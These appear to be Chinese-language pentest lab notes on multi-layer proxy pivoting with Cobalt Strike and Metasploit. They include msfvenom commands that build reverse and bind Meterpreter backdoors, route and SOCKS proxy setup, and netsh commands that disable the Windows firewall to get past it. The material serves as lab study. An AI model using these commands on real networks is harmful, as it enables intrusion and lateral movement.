多层代理搭建

代理

NAT 139.0模拟出网段

vmware2 2.0 模拟内网段1

vmware3 3.0 模拟内网段2

vmware4 4.0 模拟内网段3

服务器需要把网卡2,3,4全部禁用

cs演示

上线

代理

建立节点

注意端口是cs服务器端口

然后代理服务器

选4a扩展

测试一下

再加规则

测试成功

这个时候在攻击机win上fscan一下

现在开始往192.168.2.22移动

看到没有ip

传到sql机器上,然后sql机器运行exe,

发现sql机器4444端口监听

在2.22服务器上再来一次socket代理,还是c2服务器的ip

攻击机能访问到

然后也是不能反向,接着正向链接

然后要通4.22,就要在3.22的基础上在sock

成功

msf演示

rename成3333.exe

msf配置一下攻击exe

上线

获取路由,看到2网段被添加

创建socks节点

绑定4444端口

job可以查看,此时proxifer也可以连,但是介绍proxychains

修改下配置文件

可以看到访问到了2.22的web服务

这里注意nmap扫不出来,因为协议问题,socks代理不出来

在此之后的因为无法直接访问,需要生成正向后门

设置正向链接

设置刚才正向要链接的端口地址,run

再设置代理,background返回,用代理模块,这里注意在设置之前注意设置的是session2,就要在sessions 2中把路由信息添加

操作之后,在sessions2中看到3网段被添加了

再添加代理

可以访问到3.22

同样的操作

添加路由

然后设置代理模块

测试

同理再上线4.22,正向的时候可以用一个exe

这里设置一样,中间代理卡了一次重新搭了一次,又从4567会话开始搭建

SockS配置-网络不可达-通讯解决

解决:信息收集打点和漏洞利用部分

注意:配置连接IP为C2服务器IP

工具:Proxifier Proxychains等

Proxifier使用:

图形化操作

Proxychains使用:

加入修改配置: /etc/proxychains4.conf

最下面

socks5 127.0.0.1 8989

如果是4a就是

socks4a 127.0.0.1 8989

调用加载测试: proxychains4 curl http://192.168.2.22

C2平台:MSF/CS/Sliver/Viper等

实现步骤:

1、在被控机器上获取下一级网段

2、在被控及其上建立SockS节点

3、在工具上配置连接属性和规则触发

正反向监听-网络不可达-C2上线

C2平台:MSF/CS/Sliver/Viper等

实现步骤:

反向监听器:reverse

正向监听器:bind(需主动连接)

CS操作:

直接-图形化操作

MSF操作命令:

配置反向上线:

生产的后门在/root目录下

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe

msfconsole:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options 看一下设置选项

set lhost 0.0.0.0

set lport 3333

run

查看路由表:

run autoroute -p

run post/multi/manage/autoroute

查看完记得输入background跳出会话

创建socks节点:

use auxiliary/server/socks_proxy

show options

只用设置版本和端口(默认5)

设置完要run

配置正向上线:

msfvenom -p windows/meterpreter/bind_tcp LPORT=xx -f exe -o msf.exe

msfconsole:

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set rhost xx.xx.xx.xx

set lport 6666

run

主动链接 xx.xx.xx.xx:6666

防火墙

全部启用

绿色是放行,未绿色标识不放行

防火墙策略-入站规则&出站规则&自定义

1、防火墙默认入站&出站策略

2、防火墙自定义入站&出站策略

内网域防火墙同步策略:

操作:组策略管理-域-创建GPO链接-防火墙设置

更新策略:强制&命令&重启

命令:gpupdate/force

限制端口分为: 入站限制端口、出站限制端口、出入站均限制端口。

入站限制端口,出站未限制端口,使用反向连接。

出站限制端口,入站未限制端口,使用正向连接。

出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。

限制协议分为:

入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。

入站限制:

单协议限制,使用其它协议或者反向连接绕过。(隧道技术)

这种情况就是先反向连2.11,在正向连2.22

这种情况因为sql上有web服务,如果要访问的话还需要配置入站规则。

新建

加80端口之后

这里让2.22反向给2.11,此时对转发上线

此时再让sql2.22上线

多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)

全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。

出站限制:

参考上面使用正向连接绕过。

出入均限制:

单协议限制,使用其它协议绕过。(隧道技术)

多协议限制,使用未被限制的协议绕过。(隧道技术)

全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。

单层目标机防火墙开启 上线解决方案:

1、命令关闭防火墙

2、反向中转连接上线

3、利用隧道技术上线(规则决定)

单层跳板机防火墙开启上线解决方案:

1、命令关闭防火墙

2、正向监听连接上线

3、利用隧道技术上线(规则决定)

双层防火墙开启上线解决方案:

此时双反向就行不行了, 因为2.22的反向出是需要到2.11的,此时对于2.11来说2.22的反向就相当于入

1、命令关闭防火墙(连上web关闭他的防火墙此时可以像单层跳板机对2.22进行上线)

在真实情况中就是都有防火墙的情况下,先拿下一台机器进行命令执行关闭防火墙,拿下后就是单层防火墙了

2、SMB协议通讯上线(默认放行)

3、利用隧道技术上线(规则决定)

防火墙实验(适用场景):

1、内网无域环境下

2、内网有域环境下(强制策略同步)

gpupdate/force

Windows防火墙命令:

参考:https://www.cnblogs.com/tomtellyou/p/16300557.html

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

启用桌面防火墙: netsh advfirewall set allprofiles state on

设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

如果设置为拒绝使用blockinbound,blockoutbound

域防火墙

在域控创建个防火墙编辑一下

配置一下防火墙

改成默认值(入站检测出站不检测)

如何判断目标服务器出网协议

icmp就看能不能ping

dns就看域名能不能解析

ssh就看ssh连接会不会被阻止